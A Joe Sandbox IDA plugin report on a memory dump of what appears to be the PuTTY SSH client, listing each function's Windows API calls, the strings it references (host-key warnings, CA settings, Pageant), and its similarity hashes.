Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$Item$Rect$Dialog$Object$Text$DestroyMessageMetricsSelectSendSystem$BrushColorCreateFontImageIndirectLoadLongModeShowStock
String ID: ($<$PuTTYHostKeyMoreInfo
API String ID: 3575920825-529978484
Opcode ID: ee56cc1e57ec2af1323c06270b8c1a2727aa07ef82e1a07981349fbf0d6c06d2
Instruction ID: 01b4f74b5e7a4101b3c27c86af37d5886354f5869f67907ac178e20c89d44143
Opcode Fuzzy Hash: ee56cc1e57ec2af1323c06270b8c1a2727aa07ef82e1a07981349fbf0d6c06d2
Instruction Fuzzy Hash: 1EE1823261824187FB509F66E85876BBBA1FB94BD4F104135EE4987B98CFBCD9058F04

Function 00007FF6785D6080 Relevance: 60.4, APIs: 40, Instructions: 426windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6785D6132
MulDiv.KERNEL32 ref: 00007FF6785D615E
CreateFontA.GDI32 ref: 00007FF6785D6204
SelectObject.GDI32 ref: 00007FF6785D6217
GetTextMetricsA.GDI32 ref: 00007FF6785D6228
GetOutlineTextMetricsA.GDI32 ref: 00007FF6785D623E
GetObjectA.GDI32 ref: 00007FF6785D6284
TranslateCharsetInfo.GDI32 ref: 00007FF6785D631F
GetOEMCP.KERNEL32 ref: 00007FF6785D6332
GetCPInfo.KERNEL32 ref: 00007FF6785D634F
CreateFontA.GDI32 ref: 00007FF6785D63E6
CreateCompatibleDC.GDI32 ref: 00007FF6785D63F6
CreateCompatibleBitmap.GDI32 ref: 00007FF6785D640F
SelectObject.GDI32 ref: 00007FF6785D6425
SelectObject.GDI32 ref: 00007FF6785D6434
SetTextAlign.GDI32 ref: 00007FF6785D643B
SetTextColor.GDI32 ref: 00007FF6785D6449
SetBkColor.GDI32 ref: 00007FF6785D6454
SetBkMode.GDI32 ref: 00007FF6785D6462
ExtTextOutA.GDI32 ref: 00007FF6785D649C
GetPixel.GDI32 ref: 00007FF6785D64D5
SelectObject.GDI32 ref: 00007FF6785D64F3
DeleteObject.GDI32 ref: 00007FF6785D64FC
DeleteDC.GDI32 ref: 00007FF6785D6505
DeleteObject.GDI32 ref: 00007FF6785D6558
CreateFontA.GDI32 ref: 00007FF6785D65F6
SelectObject.GDI32 ref: 00007FF6785D6637
GetTextMetricsA.GDI32 ref: 00007FF6785D664D
SelectObject.GDI32 ref: 00007FF6785D6687
GetTextMetricsA.GDI32 ref: 00007FF6785D669D
SelectObject.GDI32 ref: 00007FF6785D66D7
GetTextMetricsA.GDI32 ref: 00007FF6785D66ED
ReleaseDC.USER32 ref: 00007FF6785D671D
DestroyIcon.USER32 ref: 00007FF6785D6730
LoadImageA.USER32 ref: 00007FF6785D6764
DeleteObject.GDI32 ref: 00007FF6785D6783
DeleteObject.GDI32 ref: 00007FF6785D67B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Object$Text$Select$CreateDeleteMetrics$Font$ColorCompatibleInfo$AlignBitmapCharsetDestroyIconImageLoadModeOutlinePixelReleaseTranslate
String ID:
API String ID: 3464282134-0
Opcode ID: ae0eee2e33ddb7383dd445c5378252d2129dbf155ee4a47e8564913de5b98830
Instruction ID: f51d0053d3c3f67a75eaa9ce3196cd96bf180542b4ad2a6cad3855416fbd7cab
Opcode Fuzzy Hash: ae0eee2e33ddb7383dd445c5378252d2129dbf155ee4a47e8564913de5b98830
Instruction Fuzzy Hash: 37227B37A2864296F7508B35E89436B7BA1FB94B54F300135D94AC36A8CF3CE945EF48

Function 00007FF678616A00 Relevance: 58.0, APIs: 20, Strings: 13, Instructions: 230windowlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF678616A57
GetDC.USER32 ref: 00007FF678616A6A
GetCurrentObject.GDI32 ref: 00007FF678616ADB
GetObjectA.GDI32 ref: 00007FF678616AEE
CreateCompatibleDC.GDI32 ref: 00007FF678616B03
CreateCompatibleBitmap.GDI32 ref: 00007FF678616B1D
SelectObject.GDI32 ref: 00007FF678616B35
BitBlt.GDI32 ref: 00007FF678616B68
GetDIBits.GDI32 ref: 00007FF678616BFE
GetLastError.KERNEL32 ref: 00007FF678616C08

Part of subcall function 00007FF6786162C0: LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

GetLastError.KERNEL32 ref: 00007FF678616CAC

Part of subcall function 00007FF678617AD0: FormatMessageA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF678617B7B

ReleaseDC.USER32 ref: 00007FF678616D81
DeleteObject.GDI32 ref: 00007FF678616D8A
DeleteObject.GDI32 ref: 00007FF678616D93

Strings

CreateCompatibleBitmap: %s, xrefs: 00007FF678616D10
CreateCompatibleDC(desktop window dc): %s, xrefs: 00007FF678616CDF
GetDIBits (get data): %s, xrefs: 00007FF678616C15
GetDC(window): %s, xrefs: 00007FF678616CB9
, xrefs: 00007FF678616B55
6, xrefs: 00007FF678616C51
'%s': unable to open file, xrefs: 00007FF678616D6A
SelectObject: %s, xrefs: 00007FF678616D3E
(, xrefs: 00007FF678616B90
DwmGetWindowAttribute, xrefs: 00007FF678616A4D
BitBlt: %s, xrefs: 00007FF678616D54
dwmapi.dll, xrefs: 00007FF678616A35
BM, xrefs: 00007FF678616C42

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Object$CompatibleCreateDeleteErrorLast$AddressBitmapBitsCurrentFormatLibraryLoadMessageProcReleaseSelect
String ID: $'%s': unable to open file$($6$BM$BitBlt: %s$CreateCompatibleBitmap: %s$CreateCompatibleDC(desktop window dc): %s$DwmGetWindowAttribute$GetDC(window): %s$GetDIBits (get data): %s$SelectObject: %s$dwmapi.dll
API String ID: 2770305857-4119329088
Opcode ID: 4884a0e50a459711fb7455f55fb7c92575f109468ebc3c8009d0d0aa29499681
Instruction ID: 89a61e1b18e45fd507391e83c37c0d3e4214fd93742aaab8a823e278286b17f7
Opcode Fuzzy Hash: 4884a0e50a459711fb7455f55fb7c92575f109468ebc3c8009d0d0aa29499681
Instruction Fuzzy Hash: 5EA1B627E2D642A6FA509B31A44477B6B91EF84B80F744038DD0DC7796EE3CED04AB08

Function 00007FF67862B020 Relevance: 45.5, Strings: 36, Instructions: 473COMMON

Download Yara Rule

Strings

ALSO, that key does not match the key %s had previously cached for this server., xrefs: 00007FF67862B364
This means that either another certification authority is operating in this realm, or you have actually connected to another computer pretending to be the server., xrefs: 00007FF67862B5C0
You have no guarantee that the server is the computer you think it is., xrefs: 00007FF67862B3D0
%s Security Alert, xrefs: 00007FF67862B29A
The host key does not match the one %s has cached for this server:, xrefs: 00007FF67862B48A
If you want to carry on connecting but without updating the cache, %s., xrefs: 00007FF67862B6F7
This means that either the server administrator has changed the host key, or you have actually connected to another computer pretending to be the server., xrefs: 00007FF67862B4C2, 00007FF67862B561
errors-hostkey-wrong, xrefs: 00007FF67862B53C
Host key not in manually configured list, xrefs: 00007FF67862B22A
If you want to abandon the connection completely, %s to cancel. %s is the ONLY guaranteed safe choice., xrefs: 00007FF67862B715
If you were expecting this change and trust the new key, %s to update %s's cache and carry on connecting., xrefs: 00007FF67862B52B, 00007FF67862B6B6
Store key in cache?, xrefs: 00007FF67862B6A8
WARNING - POTENTIAL SECURITY BREACH!, xrefs: 00007FF67862B2D7, 00007FF67862B476
Full text of host's public key, xrefs: 00007FF67862B73A
Update cached key?, xrefs: 00007FF67862B726
This server presented a certified host key:, xrefs: 00007FF67862B2EB
ones, xrefs: 00007FF67862B324
errors-hostkey-absent, xrefs: 00007FF67862B451
SHA256 fingerprint, xrefs: 00007FF67862B76C
Connection abandoned., xrefs: 00007FF67862B418, 00007FF67862B50A, 00007FF67862B61F
The server's %s key fingerprint is:, xrefs: 00007FF67862B3E1
If you want to carry on connecting just once, without adding the key to the cache, %s., xrefs: 00007FF67862B682
The new %s key fingerprint is:, xrefs: 00007FF67862B4D3, 00007FF67862B5E9
%s (port %d), xrefs: 00007FF67862B300, 00007FF67862B3B7, 00007FF67862B4A9
which does not match the certified key %s had previously cached for this server., xrefs: 00007FF67862B568, 00007FF67862B5AA
This means that either another certification authority is operating in this realm AND the server administrator has changed the host key, or you have actually connected to another computer pretending to be the server., xrefs: 00007FF67862B35D
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/ssh/common.c, xrefs: 00007FF67862B598
(Storing this certified key in the cache will NOT cause its certification authority to be trusted for any other key or host.), xrefs: 00007FF67862B66D, 00007FF67862B6E2
storage_status == 2, xrefs: 00007FF67862B591
The host key is not cached for this server:, xrefs: 00007FF67862B3A2
one, xrefs: 00007FF67862B32B
If you do not trust this host, %s to abandon the connection., xrefs: 00007FF67862B697
MD5 fingerprint, xrefs: 00007FF67862B7AE
which was signed by a different certification authority from the %s %s is configured to trust for this server., xrefs: 00007FF67862B342
errors-cert-mismatch, xrefs: 00007FF67862B652, 00007FF67862B6C7
If you trust this host, %s to add the key to %s's cache and carry on connecting., xrefs: 00007FF67862B440, 00007FF67862B641

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: %s (port %d)$%s Security Alert$(Storing this certified key in the cache will NOT cause its certification authority to be trusted for any other key or host.)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/ssh/common.c$ALSO, that key does not match the key %s had previously cached for this server.$Connection abandoned.$Full text of host's public key$Host key not in manually configured list$If you do not trust this host, %s to abandon the connection.$If you trust this host, %s to add the key to %s's cache and carry on connecting.$If you want to abandon the connection completely, %s to cancel. %s is the ONLY guaranteed safe choice.$If you want to carry on connecting but without updating the cache, %s.$If you want to carry on connecting just once, without adding the key to the cache, %s.$If you were expecting this change and trust the new key, %s to update %s's cache and carry on connecting.$MD5 fingerprint$SHA256 fingerprint$Store key in cache?$The host key does not match the one %s has cached for this server:$The host key is not cached for this server:$The new %s key fingerprint is:$The server's %s key fingerprint is:$This means that either another certification authority is operating in this realm AND the server administrator has changed the host key, or you have actually connected to another computer pretending to be the server.$This means that either another certification authority is operating in this realm, or you have actually connected to another computer pretending to be the server.$This means that either the server administrator has changed the host key, or you have actually connected to another computer pretending to be the server.$This server presented a certified host key:$Update cached key?$WARNING - POTENTIAL SECURITY BREACH!$You have no guarantee that the server is the computer you think it is.$errors-cert-mismatch$errors-hostkey-absent$errors-hostkey-wrong$one$ones$storage_status == 2$which does not match the certified key %s had previously cached for this server.$which was signed by a different certification authority from the %s %s is configured to trust for this server.
API String ID: 0-2815252416
Opcode ID: 70ef876f86de63405cbf83a22b8533da3d34b971eb5f9bb4d786b5b93f1f2886
Instruction ID: d4142c80ad5055a790a9e5d76a9dc13cfe9eabfd2bc1f8a1b178a79439a04569
Opcode Fuzzy Hash: 70ef876f86de63405cbf83a22b8533da3d34b971eb5f9bb4d786b5b93f1f2886
Instruction Fuzzy Hash: 4A229823A28A45A1E654DFB2D8102FB6B61FF88B84F644032DD4D93756CF3CE945E748

Function 00007FF6785D9E00 Relevance: 43.2, APIs: 23, Strings: 1, Instructions: 1228COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF6785DB217

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 5d5a8466f3f6bc00f5bdb877b93096f00b3f62bfa4cb63396af61df02b192291
Instruction ID: ae6f84c9f5505ba7e93e522825b8f1435c27773a78c218324381915cc74aaeba
Opcode Fuzzy Hash: 5d5a8466f3f6bc00f5bdb877b93096f00b3f62bfa4cb63396af61df02b192291
Instruction Fuzzy Hash: 8BC2D133A2878286F7618B25E4803BA7BA1FB94754F204235DE8D937A4DF3CE944DB14

Function 00007FF6785FF060 Relevance: 30.3, Strings: 24, Instructions: 302COMMON

Download Yara Rule

Strings

config-ssh-kex-cert, xrefs: 00007FF6785FF14D
Load, xrefs: 00007FF6785FF278
Save, xrefs: 00007FF6785FF2AD
loadsave, xrefs: 00007FF6785FF174
-demo-config-box, xrefs: 00007FF6785FF062
Public key for this CA record, xrefs: 00007FF6785FF305
Signature types (RSA keys only):, xrefs: 00007FF6785FF49C
Select public key file of certification authority, xrefs: 00007FF6785FF3A1
Done, xrefs: 00007FF6785FF146
Read from file, xrefs: 00007FF6785FF3B2
Public key of certification authority, xrefs: 00007FF6785FF360
Name for this CA (shown in log messages), xrefs: 00007FF6785FF1D6
What this CA is trusted to do, xrefs: 00007FF6785FF40E
Valid hosts this key is trusted to certify, xrefs: 00007FF6785FF457
SHA-512, xrefs: 00007FF6785FF563
pubkey, xrefs: 00007FF6785FF2FE
SHA-1, xrefs: 00007FF6785FF4D8
SHA-256, xrefs: 00007FF6785FF51C
config-ssh-cert-valid-expr, xrefs: 00007FF6785FF44B
Load, save or delete a host CA record, xrefs: 00007FF6785FF17B
options, xrefs: 00007FF6785FF407
Delete, xrefs: 00007FF6785FF2E2
config-ssh-cert-rsa-hash, xrefs: 00007FF6785FF4A3
Main, xrefs: 00007FF6785FF16D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: -demo-config-box$Delete$Done$Load$Load, save or delete a host CA record$Main$Name for this CA (shown in log messages)$Public key for this CA record$Public key of certification authority$Read from file$SHA-1$SHA-256$SHA-512$Save$Select public key file of certification authority$Signature types (RSA keys only):$Valid hosts this key is trusted to certify$What this CA is trusted to do$config-ssh-cert-rsa-hash$config-ssh-cert-valid-expr$config-ssh-kex-cert$loadsave$options$pubkey
API String ID: 0-1462184148
Opcode ID: 34e667553bc6cd5c4ee18d4e1c696b99c81178fade8a5e172059cc3577174cf9
Instruction ID: 5db8baeb22f11741a6e048b38205358d3f42410622bdd5f30582743d6c1846ba
Opcode Fuzzy Hash: 34e667553bc6cd5c4ee18d4e1c696b99c81178fade8a5e172059cc3577174cf9
Instruction Fuzzy Hash: 28D19F33A28B4265F660DB21F8043AB7B95FB84B84F600135EA8D87B96DF3CD645D748

Function 00007FF67860FE90 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 251networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF67860FF49
SetHandleInformation.KERNEL32 ref: 00007FF67860FF6B
setsockopt.WS2_32 ref: 00007FF67860FFCA
getaddrinfo.WS2_32 ref: 00007FF678610071
htons.WS2_32 ref: 00007FF6786100AA
bind.WS2_32 ref: 00007FF678610133
listen.WS2_32 ref: 00007FF678610146
closesocket.WS2_32 ref: 00007FF678610166
WSAGetLastError.WS2_32 ref: 00007FF678610171
closesocket.WS2_32 ref: 00007FF678610180
closesocket.WS2_32 ref: 00007FF67861018D
WSAGetLastError.WS2_32 ref: 00007FF678610193

Strings

false && "bad address family in sk_newlistener_internal", xrefs: 00007FF67861023B
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c, xrefs: 00007FF678610242

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: closesocket$ErrorLast$HandleInformationbindgetaddrinfohtonslistensetsockoptsocket
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c$false && "bad address family in sk_newlistener_internal"
API String ID: 2773167020-2428366578
Opcode ID: feb8a1541eddb833d4c022726366f701580c58f68bb48939e8cd21e056064336
Instruction ID: da1b296a83894086fe9094d3961d0ec10c48065252cffb94904ff807934f9575
Opcode Fuzzy Hash: feb8a1541eddb833d4c022726366f701580c58f68bb48939e8cd21e056064336
Instruction Fuzzy Hash: 23B1E823E2878692FA609B35A80037BBA61FF95750F304135DA8E877D1DF7DE8849705

Function 00007FF67865E3A0 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 283filememorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67867B240: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B307
Part of subcall function 00007FF67867B240: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B30F
Part of subcall function 00007FF67867B240: WaitNamedPipeA.KERNEL32 ref: 00007FF67867B322
Part of subcall function 00007FF67867B240: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B329

WriteFile.KERNEL32 ref: 00007FF67865E447
CloseHandle.KERNEL32 ref: 00007FF67865E48B
FindWindowA.USER32 ref: 00007FF67865E4D6
GetCurrentThreadId.KERNEL32 ref: 00007FF67865E4ED
LocalAlloc.KERNEL32 ref: 00007FF67865E533
ReadFile.KERNEL32 ref: 00007FF67865E642
CreateFileMappingA.KERNEL32 ref: 00007FF67865E6EC

Strings

PageantRequest%08x, xrefs: 00007FF67865E4F3
Pageant, xrefs: 00007FF67865E4CC

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: File$CreateErrorLast$AllocCloseCurrentFindHandleLocalMappingNamedPipeReadThreadWaitWindowWrite
String ID: Pageant$PageantRequest%08x
API String ID: 2212006894-270379698
Opcode ID: d5362d0f2ebea7be41a3a41264a8c73de348efe8daebd8658956fae4e399b4db
Instruction ID: dd859dd705f91d8e826de88c4a40bbbd9eac0ec38f021225e57de4292c068513
Opcode Fuzzy Hash: d5362d0f2ebea7be41a3a41264a8c73de348efe8daebd8658956fae4e399b4db
Instruction Fuzzy Hash: 0DB1D227B2874251EA509B36A44477B6B91FF85BD4F240530EE5E87BD6DF3CE8409708

Function 00007FF6785DB9B0 Relevance: 26.0, APIs: 17, Instructions: 510windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF6785DB9DD
GetClientRect.USER32 ref: 00007FF6785DB9EF
DeleteObject.GDI32 ref: 00007FF6785DBA91
DestroyIcon.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6785D15BC), ref: 00007FF6785DBAA3
GetClientRect.USER32 ref: 00007FF6785DBAEB
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6785D15BC), ref: 00007FF6785DBB63
IsZoomed.USER32 ref: 00007FF6785DBB70
DeleteObject.GDI32 ref: 00007FF6785DBC35

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Rect$ClientDeleteObject$DestroyIconInvalidateWindowZoomed
String ID:
API String ID: 1563564061-0
Opcode ID: 9002f2a3961424ae94d7a4714d7ef1378bbf2c322a05b47b82e6b32c1cd67208
Instruction ID: 616df6a09d9a7e387e039d05248c8bbcfaafccdfc50c7c907fba861066a1e765
Opcode Fuzzy Hash: 9002f2a3961424ae94d7a4714d7ef1378bbf2c322a05b47b82e6b32c1cd67208
Instruction Fuzzy Hash: C9324F739286129BE344CB39E88062A7BA1FB94764F244535D91DC3BA4DE3CFC459F48

Function 00007FF6786B1A94 Relevance: 25.7, APIs: 9, Strings: 5, Instructions: 1203COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6786B1AE3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B2116
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B228C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B2548
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B2768
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B29A3
memcpy_s.LIBCPMT ref: 00007FF6786B2A7E
memcpy_s.LIBCPMT ref: 00007FF6786B2B29
memcpy_s.LIBCPMT ref: 00007FF6786B2BF9

Part of subcall function 00007FF6786B1A0C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B1A3E

Strings

MZx, xrefs: 00007FF6786B2137, 00007FF6786B219C, 00007FF6786B2558, 00007FF6786B261B, 00007FF6786B2687, 00007FF6786B29B0
1#IND, xrefs: 00007FF6786B1BD3
1#QNAN, xrefs: 00007FF6786B1BFF
1#INF, xrefs: 00007FF6786B1C0F
1#SNAN, xrefs: 00007FF6786B1BF6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$MZx
API String ID: 808467561-2638907429
Opcode ID: 76109444bee550de1c4388e330ad174438b70be0a494ba9c3e13dd96a3241d5f
